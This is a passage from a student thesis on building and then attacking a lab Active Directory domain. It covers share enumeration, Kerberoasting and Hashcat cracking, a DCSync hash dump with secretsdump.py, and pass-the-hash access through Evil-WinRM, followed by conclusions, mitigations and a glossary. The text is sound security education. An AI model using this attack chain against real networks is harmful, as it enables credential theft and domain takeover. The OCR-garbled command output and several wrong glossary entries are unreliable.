SNa 10.88. Ccs Default share

SNE 10,88, IPCS READ Remote IPC

SM8 10.86. NETLOGON READ Logon server share
SMe 10.80. PublicShare READ ,WRITE

SnNe 10.80, SYsvoL READ Logon server share

£88888888
Rt bR AR R

Figure 56 Authenticated share enumeration with svc-sync

The following shares were discovered with varying access permissions:
o NETLOGON and SYSVOL: READ
o PublicShare: READ, WRITE
o ADMINS, C$, IPC$: default administrative shares
A deeper inspection was performed against SYSVOL, which commonly stores login

scripts and Group Policy files.

) sabclient //10.88,58,2/5Y5V0L U svc-sync
Password for [MORKGROUP\svc-sync]:
Try "help® to get a list of possible commands.
ssb: \» s
4] ) Sun Mar 14 16
e ' Sum Mar 10 10
tfm.lab or ) Sum Mar 14 16t

12940607 blocks of size 40UL. 108824833 blocks available

sab: \> cd tfe. lab\
sab: \tfn.lab\> 1s

’ ' Sum Mar 16 16:
4 Sun Mar In M

DfsrPrivate ) Sun Mar 10 16
Pollcies Sun Mar 1§ 10t
seripts I Sun Mar

12040607 blocks of size 4806, 1881553+ blocks available

sb: \tfe.lab\> cd Policies

sab: \tfm.lab\Policies\> ls
. 0 ' Sun Mar 16 16

o 1} | Sun Mar I 10:28:51 2825

{31B2F348-0160-1102-045F -ABCR458984F9) D B Sun Mar 10 16:28:5) 2805

{GAC1786C-016F- 1102 945F- ARCHAFRGE4FI) D # Sun Mar 16 15:28:51 2624

o0} blocks of size 400n. jen23628 blacks avatlable

Figure 57 SYSVOL analysis

58



Pablo Gutiérrez Bueno

Building and Breaking an Active Directory Environment
Within the share, the following paths were identified:

o \tfm.lab\scripts: May be used for user logon tasks

o \tfm.lab\Policies: Contains GPO templates, with GUID-named directories such

as:

= {31B2F340-016D-11D2-945F-00C04FB984F9}
= {6AC1786C-016F-11D2-945F-00C04FB984F9}

These structures are standard in Active Directory environments, and further GPP

password harvesting or GPO abuse may be possible depending on permissions.

Kerberoasting Enumeration

Continuing with the svc-sync credentials, a Kerberoasting enumeration was

performed to identify service accounts with Service Principal Names (SPNs) that

could be exploited.

3 pythond GetUserSPuy, py the. Lab/sve-syne : Passwordl 2)!

Iapachet vi. 32,8  Copyright Fortra, LLC and Lts affilisted coepanies

SurvicePrinclpalhine Nowne MertierOf

HWTTP/bockup.tin. Lab ave-backup «Backup Operstors
sve-Backup/backee. tfn. lad Svi-backup wBachup Oporators

Passvar LasTiu ASTLOGOS

£44119. 845615 46:38 . 56508

44115, 843012 £46:18. 205584

Figure 58 SPNs exposed for SVC-backup account (Kerberoasting)

This revealed the following SPNs associated with the svc-backup user:

o HTTP/backup.tfm.lab

o svc-backup/backup.tfm.lab

The presence of these SPNs indicated that the account was eligible for a

Kerberoasting attack.

Kerberoasting Hash Extraction

A Ticket Granting Service (TGS) hash for the svc-backup account was requested

using the -request flag:

1 pythan) Gatiiversiy oy tie Labs v -wyne sPansvor gl 23!

Delwgation

TP/ bachap,

w0028 - Coppright Fartra, LIC & 106 affiliated cospanied

Saryioeby Lnctpst Nase (T Mt rf

sve-hackap slachup Ogerater

ve-bachap 2oy Qpursle

Figure 59 TGS hash extraction using GetUserSPNs.py
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This command successfully returned an encrypted TGS hash, which could be brute-

forced offline to retrieve the plaintext password.

Offline Hash Cracking

The extracted Kerberoasting hash was cracked using Hashcat and the rockyou.txt
wordlist with mode 13100 (TGS-REP):

0 i AR sve - barkapt ) DI b 100 Al f 02 f 55 A cAf ORI Ml et 1] F RGeS A S 20 £ A0 03 Tl 7 Y0 TR0 VA mnanl )20 1aal A 207
EAC22SSCIMDTAMIBT 182 TAab8E3 e 10100 f Cie (0400 1 LI20001 9257 3500 1 0eatB et < 1 TASAMR AT 268 1351803 TATL S 2O TAS B aan Ecdbe
JeAdidbay Il i SIDAbacceMaal CLES T LT SORCIUHR AT af b 3540 | ORI T 20 UI4d 16 3L 2B LS 1c RO 0B 11 LOGA U1 MDA 1 a6 240 ) b 2hoe

wlf et bot 12504 50R f oAl 1 1 150N F0a T3 108 13000 T dlabaf Sa 15500 102 a2 5024 4a s
PSRN f SRR e A2 T MAT RS Mt a LaBeR 100 L i Bef e S0 S Tac BETTITI  h i ipTAC 9R S
O L) Cr S 074D LA S 130 ] TC 00T Saf OO bSe 44 140a T4 Jar (it e 00 JE 00 A0 1522817 10)

HaTc1BSth ) BT con TI U2 e hetdef 452548 1 244 LAJDRTOAD0 ) 1S 1024 1 200 01 100 B0 LOS IS4 T 4 14200 100 ad: St 20 S LOM F Lan2 S a0 o
T65 12 1AMIIIGIOA SO 1 3562005031 1452051 17420 751 00 Gcd 1823061 1100 tARAC T 1L bR Tatibe Re BATEIIIBESD M LA D 50872 37 L 32 BRODET ) AT TLAR KT
D100 3G el 4 C 30 A 12 B0 0ea T {90 00 SRS 1 9w 1 D205 S0 e 5 ella ] MBI T M2 A3 aTIC 151 2 152 S8 ca ) cat T2 Td et idud T200 1 40aniitbd tas £ s

iPasswordl2d!

Sosslen hashcat

STAMUS. . cooinaas | Cracked

Wath Mode 1 (KeeSeras 5, type TE5-709)

Hash, Target 1 - LAR: swe-bachup

Time. Started, ...¢ Sus Mer LR (8 wets]

Time Estimated., 1 Sus Mar R (N secs)

hernel Feature.. .1 Pure sereel

ey Base vod FULe L usessharefwardl istsSrochyon, tat |

Cussa. Dueun. . ... /3 (10 00N

Spned_ RTINS 0 Acxwl %8 Longni) Therl Yeo ol
hotorerad . /1 {168 0N ) Digests (tatall, /1 1108, 008 ) DLOSSTE (nem)
Pragrens...Looot TLILASASIN (DN

Pejected 1512 (8 N

Foatarm Palnt. . o0 AIAAETEN (N BN )

Pastarm, Sus . 4] ALy CUSLITTRS B @ L0

Catdidates, #| L2MSS = ur ity
Hardwaee Man, 1) 1

Started: Sen Par e
Stapped: San Mar :a4:38

Figure 60 Offline TGS hash cracking using Hashcat

The password Password123! was successfully recovered, confirming weak
password reuse. This granted direct access to the svc-backup account, marking it

as another point of compromise within the domain.

The next section explores how this account is leveraged for privilege escalation via
DCSync attack.

Share Enumeration with svc-backup

Using the newly recovered credentials (svc-backup: Password123!), a share

enumeration was conducted again with CrackMapExec:

Y crackwapexec seb 15,00, 08,2 sve-hatkup Passwordi2 it

E ] i0.88.80.2 el [*] Windows Server J800 Butlld . i X648 (nase!DC1) (domain:itfm.lad) [(signtngiTrue)
|SMBvIFalse)

M0 n,08.08,2 el [«] tfm. Labysve-backup:Passwordl23}

Sre 0.88.48,2 orl [+] Erameratod shares

sve 0.88,80,72 8| Share Parmiss lang Henark

M8 0.88.88.2 or1 ADMIN READ Rexote Adain

M8 19.88.80.2 s | < READ  WRITE Default share

=M 0.08,88.2 s | IPCs READ Remote IPC

e 19.608.88,2 § o0l NETLOGON READ Logon server share
s¥8 1#.88.860.2 o1 PudlicShare READ, WRITE

e v.oas.0n2 ol SYSoL READ Logon server share

Figure 61 SMB share enumeration using svc-backup credentials
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The following shares were accessible:

O

O

O

O

O

O

ADMINS$: READ

C$: READ, WRITE

IPC$: READ

NETLOGON: READ
PublicShare: READ, WRITE
SYSVOL: READ

The C$ share, a default administrative share, granted read and write permissions.

NTDS Directory Access Attempt

An attempt was made to access the \Windows\NTDS directory to locate the

ntds.dit 8 file — a critical file that stores Active Directory data including password

hashes.

smb: \Windows\> cd NTDS/

smb: \Windows\NTDS\> s
NT_STATUS_ACCESS_DENIED listing \Windows\NTDS\*
smb: \Windows\NTDS\>

Figure 62 NTDS directory access attempt from C$ share

This indicates that although the share was accessible, directory-level permissions

restricted access to sensitive contents like ntds.dit. The privilege level of svc-backup

was insufficient to continue with this method of credential extraction.
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Post-Exploitation

DCSync Hash Extraction

Having identified earlier that the svc-sync account is a member of the SyncOperators
group with replication privileges, an attempt was made to execute a DCSync attack

using secretsdump.py from the Impacket toolkit:

Y pY1hond secrwtadimp.py Ula Lat/sec-mpne: Password 1201 210,80, 09,2 (it putl i e hash dosyne. txt
¥ €At hash desysc . tx1

Ispacket .10, 0-dev2025528 . 9fapitin, So82fcth - Copyright Fortra, (LC and ity offilioted companies
[-] Berorelpecations falled: DRSA Runties Errori cose: 8x5 - rpc_s_access duniad

[#] Msping Domaln Credentials [domaim\ula:rialishash: athash}
[*] Using the DRSURPT method to get NTBS BT yecrets

tin, Lab\adwiniztrotor 1380: 302)b435051 EMecaadIbAISbS IaMee -0 11242, BT0eMEs145

170,120\ guest 1 561 | Jad304350 5 1404eeaad30d 3505 1404ee { 1770 700a ne L 1 300207 ocRedl0Fdel 1 )

o, lab\dan el JL82 20a304 3505 1484020083 bA3SDG 148400 3571007 0L 1297 ecte DE000e1 1 1 |

o, Lab\domatn  adatin: TIR3: auddhelSt5 | sMlesantibasSbsidMae 6141264 | cadmibedid SHcBBan 1507 an:::
tin, Lsb\ jparker : 1180 53d 3243305148420 500 3011 505 14680 : 15208231 DedW T2 2 c4aTET I Jeec i ¢

o, Lab\evon: 1107  3ad M 530 5 148 e 0 504 1305 140 Lee 1 1 2bcab 109508006 1008 f 51 frGcTadet: i =

T, Leb\evn . steve | 1188: 3dE1b4 35051483 ecantibi5 b5 80dec  A5000 10041135080 1eBETDTEIB212: 11

o L\ ovin. Frank:EL1E aul 3543505 146 4nmait 3013505 1A040e L ol 1dc dTaabeTel ISEATT IS0 1 fe 1o

T, Lab\frane 11021 0ad3b43S 05 L A0 ocuad3na 3505340400 : Lanc 3 196 T LR5 Jebbr Ausc BRlG6ac Laddc: 1 2

the, Labh\steve, stave:1153:a0d3ba3305 100 eesad 254 3505 1A0Aan  TaBed L FAAESD1FAUI0 FOAdOcHO190= < :

i, Lab\char L Lo goarge: L134: sad 543505148 0a0 e d S50 5505 148 4aw s 250 Tclnch fcOue? 2840000 N TaNta 1¥:: ¢
thm, Lsb\svc-8ackup: I1151 80 301505 14642 aad IDAI 505 14080 | 238 T cBach 1 clad7 29400830 100031 15 ;

i, Lab\sve-sync: 1116 12003043505 140400000204 3505 140 e 1 2587 cBL DI CHAIT 2IBME 0D 0EATr: | ©
T, Tab\dan 1l 11117 aad3b43505 14030ea 08 Ib4 3505 LaMee | 2228 753070 160052 4066c Jalbab3at
T, L s teve: 11AN:AndIbAIS LA L G0 0 mand IB4 S5b5 1 AMue -5 S50ae 2a 06 700 T atdbdone f Jansa s 2
tn, Lab\Larry: 1120301622505 L 8M eraad 104 33b 5 1a0e e 1158371 10 1 0130533422136 2028511
tfm, lah\carol i 1124:2000b4 35051 8Meraad 1083505 148 e 3 f coene TB2cBI22 115300 FSU20801) : 5 ¢
DCLS | 1887 20343505 140decanadbd 1505 Leddee) 6507 bee 2048 Mas2537 040892 e0deb 11
WINIBERTY 19007 a3 3045505 1A ceaad 43505140 e 1 Sceac SRl db I THI ILEC 127 18cdT 1 11

[*] herberos keyy grateed

Adrinistrator i pes2i6-cts-teor-shal -36:28b8abBe 27e5Brec Tadb7e 7535200004 1 5375975177 152e Mle T3

ASSLNISTIAtor | aeslZ8-cts-teac-chal-36{ Jd2cal# 71155041 300 d7ab4e Tedesd

Adainistrator i des-chc-md5 bodlTeeaBS a2 042221 472807 dbES.

Krotgtone 258-cta-tmac -3 hal-56 : fddESdcoIbba 1 boAbEa 62 d 1920002 187 i EdunibES s f wdtind )

Keotgtcaes L 28-cta-tmac - shal-96 : T MRS A 106 20400 2147 ates T delth

krotgt ides-chc-nd%: 21430732004

TIm. Lab\comaln . adein | ses256- 15 - Neac- 601961 12e400CIB3EACTIIT 020 IBE0 124266 T0aBBE M aS LabS 22 ) coe5 S22 cedd

10, Lab\somatn. adein 25128 -cts - hant - 2321961 29c51 e 14eh Bod561550 134816357

T, Labhdanain, aduin:des <be-ed5: Lian1126457

tim, Lol Jparter ;aes250-chs-tmac-3hal-98: cT1al42 Jede JHEd21

the, L\ fparker cans 126-chy-temac-ahad-05: rMbaS 2808 7 (F msammu 'll

tio, lab\ Jparker: des bl % i Seed 1b2a020

tin, lab\evan:aes2ih-cts-heac-shal-56; M2ET2184092923c bER 1M HBEE 15201498201 501 25051 TEZAh 16804919578

tfo, Lab\evan; aes128-cts-hewc-shal -95; 01aBZ1 5006010

m, Lat'arvin: des - o0 -mdS s 207 {Sen e

T, L\ A Tew S 2562 Ea-hinac < Aa 106 : 3T Caf e 25201 SheR8 Al 4L T2 B80S T G0rc c TSanscac b5 Jed Toaul

tfm, labhevn. steve iees128-cts-heac -3hal-90:c04 7091 2 M68da8bc dach TEhB4e 11550

oo, lab\eva. steve (00s-cho-naS i e2e529]

tom. Labhevan. frankioesZ5h-c15. hmac-shal-96: 5173821261 3vdblcce bl FaB35aT303) 20118177

T La\evan. Tranh:ans 126-ca-Imic-4hal-06: antns5c]

oo, Lad\ frank L des-che-ad5:0048ca

tém, Labf rank  peorge: sen230-c ty-heec-shal-

96:911 2285085402001 2212802 152 D225 I TSR 1 TSAET 2638005 250 BET 587 e L50DES ST

tin, Lab\f rank . prorpeaes]Z8 - ts-heoc - 55319617 1a4b 352001

110, Lab\ frank. grocge | des -che-ed5: biGeda

o Iab\nteve, steve: aes258-c s -teac -ahal-56: 01 720088505 63dBAZ0T Lee 20501 53 301 I020 20d 16 596224 165Caln

o, LA\ R L, SLave: aes | 28 COs- b g - ahal - 96«30 1@l ac S bibde 55001 2 TR6600 cefvdd

tfn, Lsb\steve, steveides-cba-md5:27 384011

tfn, lab'charlie.george; aes250-cty-tmoc-shal-36: Riaof f 19 753 1da)6r 1506050 2008 f S f 19190 2002 7dd 367 c Ted 57

Tt leb\charlie. george: aesl28 . cts-hmac-shal - D81 067 dS1hedtas

T L\ char LLe, goor gu: del - cbe -mdS :SR5ea i T ey

The, Lab\ eve -SaChup 305256 -C Th-hoic-shal-05: Qb TLT6220da3 T T OSL asR0 Mheda2 40 M 7RI aodI TN 2ae S0 4eb84ald]

tin, Lab\sve-Seckup:oes 120-cts-hmac-shal-96: feaf 10N eb24 Va7 dy

tim, Lab\sve-Backupides cho-adhial2alens

tim, Lab\onsndein: 00525615 Ao -shal -50 1 S06E2997 3000 ee 1C 3ab 612722631 4056

The. lab\Gncode in: aes 128 cts-feur-shal 96 1 TabTaedidedc Ted 11171 19e62c 54000002341 414300023

Tfn. Lab\Gncode L des - chc - a5 46 Tda4 1063 DCE5TACHS 747 a7 a0l 53

0, LB\ vC -3 yne t ey 258-cUa-Amac-shal -0 : Jan 10 13RSI NET) IRetd 0t 0197 1)1 Lac s

140, Lab'svC-sync i aes 128~ cts -t c-shal -36 { B4b47 ch 132 TiG e

tfm, Lab\sve-synt ; des-chc-ndd:004cef INTT{ Thens

0. Lab\Eaniel 1ae<iSh-Cte-haac - shal-06: 1053 T2c 631 15220369608 Taa A 23 bRedChI TIMATHT TS T Va5 30c Dac T2

The, Lab\ean (el tans 120 -c ta-hakc-shal-06 aasSa 73673 106 e fuf

T, Lab\danle] :dus-che-adS: 4LTAI60 T

tin, Lab\Steve :pes250-cty-tmac-vhal-50: f A5G0 1218 c HObM9 2 15MILSCATc 200 THRSABN 90 0 f /1 bale 455 HF

thn, LabiSteve: pen 1 28-ctx-Arac-ahal =56 13d€an 1 Ibdob Setdfed e Sc 60226714 Tn T

tto. Lab\Steverdes -chc-ed5: Sd2aba2t

e, Lab\Lar ry | Des2S6-C 15 - Mool - shal -96 L Cdebl 327222 cotbBia T DASUatar B 36u TR0 559 1

e, lab\larry | aesl8-cts-heac-chal-9615e¢h2304395206¢ 7117

e, Lab\Lar ry s des~cbe -l 92040

tim, labhCarol 1o25238 - rts-Amac - 5hal -56 1 88082203657 7851 Sof edden]

tim, lab\Carol i pea128-cts-Amnc-shal-56; fchink (ka2

tfn.lab\Carol lde-: chc-ndS: 9d4Gdr
#1258 5 IR0 1277 e 45T ISR THIETICITI0RR 1M 111000 16 7 Co0BEE842 T

i g

1 1Jcaa13n
WINIBENTS (117

D35> pwe50 -t <o Z3bI0ATeBC2aTaC R ZTISMDCIS A5 1 IbkedbAddad fan37a
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DEYY e s ot GR2SATRCHE413

[*] Clmaning up.,,

Figure 63 secretsdump.py output showing NTLM hashes
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The operation completed successfully, and all NTLM hashes from the Domain

Controller were dumped. This includes hashes for:
o Default accounts: Administrator, KRBTGT
o Domain users: domain.admin, jparker, charlie.george, etc.
o Service accounts: svc-sync, svc-backup, Dnsadmin
The hashes extracted are stored in the output file hash_DCSync.txt.

Filtering Domain Admin Hash

To isolate high-value targets, the hash for domain.admin was extracted using a

simple grep command:

} grep domain. adnin hash_dcsync.txt

tfn. lab\donasin. adnin: 1183 aadibddSb5 1484 eenad 3b4 3505140840 041 1 2cddnaliBas TedbaB 1 bSda T 300450 1 ¢

tfa.lab\domain. adnin:aes256-cts-haac-shal-96:12e4%dadlcc fI3868a7397032¢ 3684 fdbS 2686744053 f 10523 2al1cc 582 cecitl
trm, Lab\domain, adoin: t5-hmad-s5hal-96:21c1%edladdeBoadard55c15c3106302
t

o, lab\dosain.adnin:des-cbe-0d5: 380C l1aaeaBebb 52

Figure 64 NTLM hash filtering for domain.admin

This revealed several encryption types for the user domain.admin, including:
o NTLM hash
o AES256-CTS-HMAC-SHA1-96
o AES128-CTS-HMAC-SHA1-96
o DES-CBC-MD5
The extracted NTLM hash was selected as the credential of choice for subsequent

pass-the-hash authentication.
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Remote Code Execution as Domain Admin

With the NTLM hash for domain.admin in hand, an Evil-WinRM session was initiated

using pass-the-hash &’ technique:

? svilewinre up. .3 tame i, anvie S8 L 2 ma LIRS I e DA LI 1 e £ TRAMA
EVAL-MUaN srell v37

Wurning: Memete path cospletions (& disabled dus to rully Llaltatiom: wnde!finel method quut g detectloe_scee
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stull-Wishme Ps Li\Usnra\domaln, sdntn\Decoment
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1

1

1
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*Evil-Wisier PS Cr\lisars\dosatn, sdsire cd Desttep

*Dvil-Misie P5 C:\Usary\dmmetn, sietn\Degttap> iy
Lo & " am sht

Fode

sPetl Wizl PS C:\Usern'domat n, sietn\Desktop

Figure 65 Remote access as domain.admin using Evil-WinRM

Access was successfully granted to the Domain Controller with full privileges.
Navigating to the Desktop directory confirmed access to sensitive post-exploitation
scripts such as:

o DCSync.psl

o domain.psl

o asrep_charlie.psl

o SMB_signature.psl

o test.psl
This final step confirms full domain compromise. The attacker now has unrestricted
access and can perform any administrative action within the environment, including
dumping additional credentials, creating new domain users, modifying group policies,

and establishing persistence mechanisms.
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Conclusions

The audit conducted throughout this laboratory environment demonstrates how
misconfigurations, weak password policies, and poorly managed privileges can lead to
complete domain compromise. From basic user enumeration and SPN exposure to offline
hash cracking and abuse of DCSync replication rights, the assessment highlights a realistic

attack path that adversaries could exploit in production environments.

Throughout this audit, we demonstrated how a relatively low-privileged user (charlie.george)
could pivot through multiple misconfigurations—gaining access to public shares, discovering
reused passwords, and eventually escalating to full administrative control via a DCSync
attack and pass-the-hash technique against the domain.admin account.

These findings reaffirm the importance of hardening Active Directory environments and
performing regular internal audits, even in seemingly isolated or test domains. Simple lapses
such as password reuse or disabled pre-authentication can offer attackers a foothold that

enables further lateral movement and privilege escalation.

Fulfiiment of Objectives

The objectives outlined at the beginning of this project have been fully accomplished. A
realistic Active Directory environment was successfully designed and deployed, deliberately
populated with misconfigurations that reflect real-world enterprise mistakes. Vulnerabilities
were not only identified but also exploited through a structured methodology, documenting
the full path from initial access to domain compromise. Finally, the project provides a
detailed set of recommendations to mitigate each weakness, fulfilling the educational and
technical goals set for this thesis.

Additional Technigues Not Used

While the audit successfully achieved full domain compromise through manual and scripted
enumeration, there are several additional techniques and tools that could further enrich the

scope of this assessment:

e BloodHound with SharpHound Collector: BloodHound is a powerful graph-based
tool for mapping relationships and trust paths within Active Directory. SharpHound
can collect data on sessions, group memberships, ACLs, and more to identify hidden
privilege escalation paths such as "kerberoastable" users with admin sessions,

unconstrained delegation, or write access to sensitive objects.
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LSASS Dumping: If local admin privileges had been obtained earlier, tools such as

Mimikatz could be used to dump LSASS 8 memory and extract cleartext credentials
or additional NTLM hashes.

GPP Password Retrieval: Group Policy Preferences stored in SYSVOL often
contain XML &° files with credentials encrypted using a known static key. Although no
such files were found in this audit, they are still a common source of escalation in

many domains.

NTLM Relay Attacks: In environments with SMB Signing disabled, NTLM relay
attacks can be used to impersonate users by relaying authentication requests to
services like LDAP, SMB, or HTTP.

Token Impersonation and Service Abuse: Leveraging tools like Rubeus or Rotten
Potato %°, attackers can impersonate privileged tokens or abuse scheduled tasks and

services for escalation.

Password Spraying: This technique involves attempting a single password across
multiple user accounts instead of brute-forcing one account. In this lab environment,
it would have been particularly effective due to the reuse of the password
Password123! across several users such as charlie.george, svc-sync, and svc-
backup. This method is commonly used in real-world attacks to bypass account
lockout policies and avoid detection, especially when user enumeration has already

been successful.

Importance of Periodic Auditing

Security in enterprise environments is not a one-time effort but a continuous process. Each

change, update, or onboarding of a new system introduces potential weaknesses that may

not be immediately obvious.

For this reason, periodic internal audits are essential:

After system updates or group policy changes
Following onboarding of new third-party applications or service accounts

Upon structural changes in teams or user access

Routine assessments allow organizations to detect drift from baseline configurations,

identify exposure of critical services, and uncover hidden privilege relationships that evolve

over time.
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The Role of Cybersecurity in Modern Enterprises

Cybersecurity today is not just a support function; it is a strategic business enabler. Modern
threats have evolved to target not just perimeter defences but the internal structure of
organizations, making Active Directory a primary focus due to its central role in

authentication and resource management.
Key priorities for enterprise cybersecurity teams should include:
e Principle of Least Privilege (PoLP)
e Segmentation of administrative roles (Tiered Access Models)
« Continuous logging and alerting
e Threat modelling and adversary simulation
« Employee training and awareness on phishing and credential hygiene

Failing to address these areas can lead to severe consequences including data breaches,

ransomware propagation, or full domain takeovers as illustrated in this audit.

Ultimately, proactive defence, regular auditing, and strong access control are vital to

reducing attack surfaces and ensuring resilience in enterprise environments.

Future Work
While this thesis successfully demonstrates full domain compromise through internal threat
simulation, several opportunities remain to expand the depth and realism of such

assessments.

Future work could explore hybrid environments by integrating Azure Active Directory and
cloud identities to reflect modern enterprise infrastructure. Incorporating Endpoint Detection
and Response (EDR) tools, such as Microsoft Defender for Endpoint or Velociraptor, would
enable the evaluation of detection and response capabilities during live attacks.

Additionally, implementing real-time event monitoring using Sysmon with centralized log
collection (e.g., ELK Stack or Splunk) could provide deeper visibility into attacker behavior

and support correlation-based alerting.

Finally, automating portions of the attack chain using adversary emulation frameworks like
CALDERA or Empire could simulate more advanced threat scenarios aligned with the

MITRE ATT&CK framework, elevating the realism and challenge of internal security testing.
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Glossary of Technical Terms

L Active Directory (AD): A Microsoft directory service used for managing users, computers,

and other resources in a Windows domain network.

2 Kerberoasting: Post-authentication attack that retrieves service tickets to crack service

account passwords offline.

3 AS-REP Roasting: Attack targeting accounts without Kerberos pre-authentication to

obtain hashes for offline cracking.

4 DCSync: A technique used to simulate a Domain Controller and request credential

replication.

S>Privilege Escalation: A process of gaining higher-level permissions after initial access

6 Lateral Movement: The technique used by attackers to move across system within a
compromised network

" Credential dumping: Technique used to extract passwords, hashes, or other credentials

from memory or system files.

8 Domain escalation: Technique used to extract passwords, hashes, or other credentials

from memory or system files.

9 Domain Controller (DC): A server that manages security authentication requests in an

Active Directory environment.

10 Active Directory Domain Services (AD DS): Core component of Active Directory

responsible for storing and managing domain information.
11 DNS: Service that translates domain names into IP addresses.
12 DHCP: Protocol that automatically assigns IP addresses to devices on a network.

B Group Policy: A feature used to centrally manage settings and permissions for users and

computers in a domain.

4 BloodHound: Tool that uses graph theory to reveal hidden privilege escalation paths in
AD.

5 Kerbrute: A collection of Python tools and scripts for interacting with network protocols
1 Impacket: A collection of Python tools and scripts for interacting with network protocols
17 CrackMapExec: Swiss-army knife for pentesters, useful for assessing SMB, RDP,
WinRM, and LDAP.
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8 Hashcat: Swiss-army knife for pentesters, useful for assessing SMB, RDP, WinRM, and

LDAP.

9L AN: Local Area Network; a network that connects computers within a limited area such
as an office.

20 DMZ: Demilitarized Zone; a part of the network that adds a layer of security between
internal and external networks.

211P: Internet Protocol address that identifies a device on a network.

22 Directory Services Restore Mode (DSRM): A special boot mode for repairing or
restoring Active Directory.

23 Active Directory Certificate Services (AD CS): Role that allows issuing and managing
digital certificates in a domain.

24 LDAP: Lightweight Directory Access Protocol, used to read and modify directory services
2HTTPS: Secure version of HTTP using encryption (TLS) for communication over the web.
26 Subnet Mask: A number that divides IP addresses into network and host parts.

2T Default Gateway: The IP address used to access other networks outside the local one.
28 Active Directory Users and Computers (AD UC): Administrative tool for managing
users, groups, and computers in AD.

29 Security Identifier (SID): A unique ID used to identify user, group or computer accounts
in Windows.

30 powerShell: A command-line shell and scripting language for task automation in
Windows.

31 OOBE (Out-of-box Experience): Initial setup process shown when Windows is launched
for the first time.

32Enumeration: The process of gathering information about a system or network.

33 password Spraying: Technique where the same password is tried across many
usernames to avoid lockout policies.

34 pass-The-Ticket: A technique where attackers use stolen Kerberos tickets to access
network resources without needing user credentials.

35 Kerberos: A network authentication protocol that uses tickets to allow secure
communication between systems.

36 Ticket Granting Ticket (TGT): A special ticket in Kerberos that allows users to request
access to other services without re-entering credentials.

37 CVE (Common Vulnerabilities and Exposures): A system that provides identifiers for

publicly known cybersecurity vulnerabilities.
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38 GetNPUsers.py: A script from the Impacket toolkit used to extract AS-REP hashes for

offline cracking.

39 Rubeus: Post-exploitation tool used to interact with Kerberos in Active Directory

40 AS-REQ: Authentication Service Request; the first step in the Kerberos authentication
process.

41 Service Principal Name (SPNs): A unique identifier for a service instance used in
Kerberos authentication.

42 Ticket Granting Service (TGS): Part of the Kerberos protocol that issues service tickets
after verifying a TGT.

43 Group Managed Service Accounts (gMSA): Service accounts managed automatically
by AD, often used for applications and services.

44 DLLs: Dynamic Link Libraries; files containing code that can be loaded and executed by
programs.

45 Sysmon: A Windows system monitoring tool that logs detailed information about system
activity for security analysis.

46 SIEM (Security Information and Event Management): software that collects and
analyses log data for security monitoring.

47T LAPS: Local Administrator Password Solution; a Microsoft tool that manages and rotates
local admin passwords automatically.

48 Just Enough Administration (JEA): A PowerShell-based security model that allows
delegated administration with minimal privileges.

4 KRBTGT: The Kerberos service account in Active Directory responsible for encrypting
and signing all TGTs.

S0 Access Control List (ACL): A list of permissions attached to an object defining who can
access it and how.

51 Mimikatz: A powerful tool for extracting credentials from memory and other Windows
attacks

52 Secretsdump: A script in Impacket used to extract credentials and hashes from remote
Windows machines.

53 SharpHound: Data collection component of BloodHound for Windows environments.

5 Golden Ticket: A forged Kerberos ticket generated using the KRBTGT hash to
impersonate any user

S5 PingCastle: A tool for assessing the security level of an Active Directory environment and

detecting vulnerabilities.
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56 powerView: A PowerShell tool used for enumerating Active Directory components and

permissions.

5" Advanced Persistent Threat (APT): A stealthy and prolonged cyberattack where
attackers gain and maintain unauthorized access to a network.

58 GUID (Globally Unique Identifier): A unique reference number used to identify objects
in systems like Active Directory.

S9EVil-WinRM: A post-exploitation tool for executing commands remotely over the Windows
Remote Management protocol.

60 Remote Code Execution (RCE): A vulnerability that allows attackers to execute arbitrary
code on a remote system.

61 Role-Based Access Control (RBAC): A system that restricts access based on a user's
role within an organization.

62 GPO (Group Policy Object): A set of rules that control the working environment of user
accounts and computers.

63 DAPsearch: A command-line tool for querying LDAP directory servers.

64 nmap: A network scanning tool used to discover hosts and services on a network.

65 NTDS: Active Directory database service responsible for storing domain information.

66 Get-ltemProperty: A PowerShell command used to read registry entries and system
properties.

67 NTFS: New Technology File System; the standard file system used by Windows operating
systems.

68 SMB (Server Block Message): a protocol used for sharing files, printers, and ports on a
network.

%9 SharpShares: A tool for enumerating shared folders in Active Directory environments.

O ShareEnum: A graphical tool for viewing shared resources across a Windows network.
L NTFS: An attack where the attacker intercepts and possibly alters communication
between two parties.

2Man-In-The-Middle (MITM): An attack where the attacker intercepts and possibly alters
communication between two parties.

*LanmanWorkstation: A Windows service that allows the client to connect to remote SMB
resources.

“LanmanServer: A Windows service that enables sharing files and printers over a network.
> NTLMv2: An updated version of the NTLM authentication protocol, providing stronger

security.
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6 Responder: A tool used to poison name resolution requests on a local network, capturing

credentials and hashes.

T Inveigh: A PowerShell-based tool for performing network poisoning and credential
harvesting attacks like Responder.

8 Relay attack: A type of MITM attack where intercepted authentication is forwarded to
another service to gain access.

" MSRPC (Microsoft's implementation of the Remote Procedure Call (RPC): Protocol
for network service interaction.

80 Global Catalog: A distributed data repository used by Active Directory to quickly locate
objects in the forest.

81 Remote Procedure Call (RPC): A protocol that allows programs to execute code on a
remote system.

82 EternalBlue: A Windows SMB exploit used in major ransomware attacks like WannaCry.
83SecLists: A collection of multiple types of wordlists used during security assessments and
penetration tests.

84 Key Distribution Centre (KDC): Part of the Kerberos protocol that issues authentication
and service tickets.

85 Access Control Entries (ACE): Individual permission entries within an ACL that define
access rights.

86 ntds.dit: The main Active Directory database file containing all domain objects and user
credentials.

87 pass-The-Hack: Technique that allows authentication using NTLM hashes without
knowing the actual password.

88 LSASS: Local Security Authority Subsystem Service; handles security policy and stores
sensitive credentials in memory.

8 XML: Extensible Markup Language used for structuring data in a readable and
transferable format.

%O Rottan Potato: A privilege escalation tool exploiting token impersonation and named pipe

vulnerabilities in Windows.
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